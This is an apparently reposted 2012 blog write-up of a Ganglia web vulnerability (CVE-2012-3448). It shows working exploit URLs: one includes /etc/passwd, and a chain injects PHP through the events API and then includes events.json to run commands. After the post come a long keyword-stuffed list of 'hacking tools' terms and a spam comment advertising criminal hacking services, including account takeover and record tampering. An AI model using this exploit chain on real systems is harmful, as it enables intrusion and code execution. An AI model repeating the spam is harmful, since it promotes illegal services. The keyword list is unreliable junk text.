http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448Related news
- Pentest Tools Nmap
- Hacker Tools For Windows
- Pentest Tools Website
- Hacker Tools List
- Hacking Tools Free Download
- Hacking Tools Pc
- Hacking Tools And Software
- Hacking App
- Hacking Tools For Windows Free Download
- Hacking Tools Mac
- Hacker Tools Free Download
- Hacking Tools For Mac
- Pentest Tools Apk
- Hack Rom Tools
- Pentest Tools Framework
- Hacking Tools For Mac
- Hacking Tools Free Download
- Hacking Tools Usb
- Hacker Tools Online
- Kik Hack Tools
- What Are Hacking Tools
- Hacking Tools 2019
- Hacking Tools Software
- Hack Tools Pc
- Ethical Hacker Tools
- Hack Rom Tools
- Hacking Tools Hardware
- Pentest Tools Bluekeep
- Blackhat Hacker Tools
- Hack Tools For Windows
- Pentest Tools For Ubuntu
- Pentest Tools For Android
- Pentest Tools Website Vulnerability
- Hack Website Online Tool
- Usb Pentest Tools
- Hack App
- Hack Tool Apk No Root
- Hack Tool Apk
- Best Hacking Tools 2020
- Tools Used For Hacking
- Hack Tools Mac
- Hack And Tools
- Hacks And Tools
- World No 1 Hacker Software
- Pentest Tools For Windows
- Github Hacking Tools
- Pentest Tools List
- Pentest Tools Nmap
- Hacking Tools Online
- Hacking Tools Download
- Hack Tools 2019
- Hacker
- Best Hacking Tools 2019
- Hacking Tools For Windows 7
- Pentest Tools Subdomain
- Hacking Tools For Windows
- Hack Tools For Pc
- Hacker Tools Apk
- Hacking Tools Software
- Hacker Techniques Tools And Incident Handling
- Hacking Tools Kit
- Hacking Tools 2019
- Nsa Hacker Tools
- Hacker Tools Linux
- Pentest Tools Url Fuzzer
- Pentest Tools Free
- New Hacker Tools
- Wifi Hacker Tools For Windows
- Hacking Tools Pc
- Nsa Hack Tools Download
- Hack Rom Tools
- Hack Tool Apk No Root
- Hacker Tools Linux
- Hacking Tools Mac
- Hacking Tools Hardware
- Nsa Hack Tools Download
- Underground Hacker Sites
- Pentest Tools For Mac
- How To Hack
- Hacker Hardware Tools
- Hacking Tools For Pc
- Hacker Tools Github
- Pentest Tools
- How To Hack
- Hack Tools Github
- Game Hacking
- Hak5 Tools
- Hacking Tools And Software
- Hacker Tools Windows
- Hacker Tools 2019
- Hacker Tools For Pc
- Hacker
- Pentest Tools Alternative
- Growth Hacker Tools
- Hacking Tools 2020
- Hacker Tools Software
- Computer Hacker
- Wifi Hacker Tools For Windows
- Tools Used For Hacking
- Hacking Tools
- Hacking Tools For Beginners
- Hacker Tools Windows
- Pentest Tools Android
- Pentest Recon Tools
- Hacking Tools 2019
- Pentest Automation Tools
- What Is Hacking Tools
- Hack Tools For Games
- New Hacker Tools
- Pentest Tools Subdomain
- Usb Pentest Tools
- Hack Tools 2019
- Best Hacking Tools 2019
- Hacker Tools For Windows
- Beginner Hacker Tools
- Hack Tools For Mac
- Hack Tools
- Install Pentest Tools Ubuntu
- Pentest Tools Nmap
- Hacking Tools Software
- Pentest Tools Nmap
- Pentest Tools Port Scanner
- Pentest Tools Bluekeep
- Underground Hacker Sites
- Best Hacking Tools 2020
- Hack Tools
- Hacker Hardware Tools
- Wifi Hacker Tools For Windows
- New Hack Tools
- Android Hack Tools Github
- How To Install Pentest Tools In Ubuntu
- Hacking Tools Free Download
- Pentest Tools Download
- Hack Tools Download
- Android Hack Tools Github
- Pentest Tools For Mac
- Pentest Tools Download
- Pentest Tools Tcp Port Scanner
- Hack Tools Online
- Hacking Tools Windows 10
- Hack Tools
- Hack Website Online Tool
- Pentest Tools Framework
- Pentest Tools Website Vulnerability
- Blackhat Hacker Tools
- Tools Used For Hacking
- Hacker
- Hack Tools Online
- Hacker Tools For Pc
- Best Pentesting Tools 2018
- Hack Tool Apk No Root
- Hack Tools For Mac
- Hack Apps
- Pentest Tools Open Source
- Hacking Tools
- Hacker Tools 2019
Do you need to increase your credit score?
ReplyDeleteDo you intend to upgrade your school grade?
Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
Do you need any information concerning any database.
Do you need to retrieve deleted files?
Do you need to clear your criminal records or DMV?
Do you want to remove any site or link from any blog?
you should contact this hacker, he is reliable and good at the hack jobs..
contact : cybergoldenhacker at gmail dot com